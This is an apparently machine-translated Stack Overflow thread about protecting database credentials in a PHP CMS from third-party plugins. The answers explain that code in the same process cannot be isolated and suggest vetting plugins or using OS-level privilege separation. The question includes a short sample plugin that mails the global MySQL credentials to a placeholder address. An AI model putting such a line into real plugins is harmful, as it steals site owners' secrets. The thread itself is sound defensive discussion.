2

我有一个问题在我脑海里盘旋了很久很久。我在一个 CMS 项目上,我真的不知道该怎么做:我希望这个 cms 可以通过使用插件系统进行修改,直到现在都没有什么困难。好吧,我现在有这个问题,如何保护管理员用户的 mysql 密码等变量/常量?例如,在文件 settings.php 我有

$mysql = array("user" => "admin"...);

我怎样才能让一堂课不读呢?一个简单的类(插件)可以做

class myplugin extends plugin_container {
function badfunction() {
mail("my bad address", "data stolen", $GLOBALS["mysql"]);
}

这样,一个简单的插件就可以窃取用户的敏感数据。我怎样才能解决这个问题 ?

4

4 回答 4

3

你不能......插件可以执行代码,而你无法控制该代码。

但是,您可以一一批准插件,以避免潜在问题。

于 2012-05-01T17:28:00.697 回答
2

你不能在 PHP 中真正做到这一点。您可以将变量放在一个对象中,将其设为私有,但使用反射,其他代码也可以获取它。地狱,即使它不能,仍然有办法在你不应该的时候获取对象的内部结构,比如var_dump,debug_zval_dump等等。

我会建议:

  • 连接到数据库后丢弃密码(并在连接加载模块)
  • 将其存储在内存以外的其他地方(配置文件),但这并不能解决任何问题,因为插件仍然可以访问该配置文件
  • 放弃并说“模块是可信的”——这可能是所有 CMS 所做的
  • 一些更奇怪的方法 - 沙盒模块,以删除的 unix 权限作为单独的进程运行,虚拟化它们......我想这些都没有实际用处

通常,当您的代码在某些上下文中运行(例如在 PHP 脚本中)并且您希望允许某些模块或插件在同一上下文中运行时,没有办法隐藏任何内容。该插件将可以访问相同的内存(所有变量)、所有打开的资源(数据库连接),并且基本上与该上下文中的任何其他代码没有区别。这同样适用于许多其他环境,例如在操作系统中运行的本机进程。当然,您可以使获取某些变量或资源变得“更难”,但您永远无法确保无法访问它。除非您在不同的上下文中运行其他代码(其他进程、虚拟化等)。

于 2012-05-01T17:30:02.600 回答
1

尽管您可以尝试将 $mysql 的范围更改为某个本地范围 - 通过调用如下函数获取数据: function mySafeBox() { return $mysql; 现在,插件代码将无法从 $_GLOBALS 访问它,但这样做没有意义……因为您通过使用它来依赖插件...这样,您将永远找不到这个问题的一个很好的“解决方案”,从未存在过

于 2012-05-01T17:31:01.593 回答
0

PHP 不提供内部安全边界的工具。大多数语言都是这样的;Java 是个例外。

So if you want to build a trust boundary in a PHP script you would have to do it via OS-level privilege separation mechanisms: spawn a process running under a separate user principal with lower privileges, and use a pipe to communicate between that and the main trusted app. This would require a load of architectural rework that doesn't fit within the usual PHP invocation model.

于 2012-05-02T08:30:19.790 回答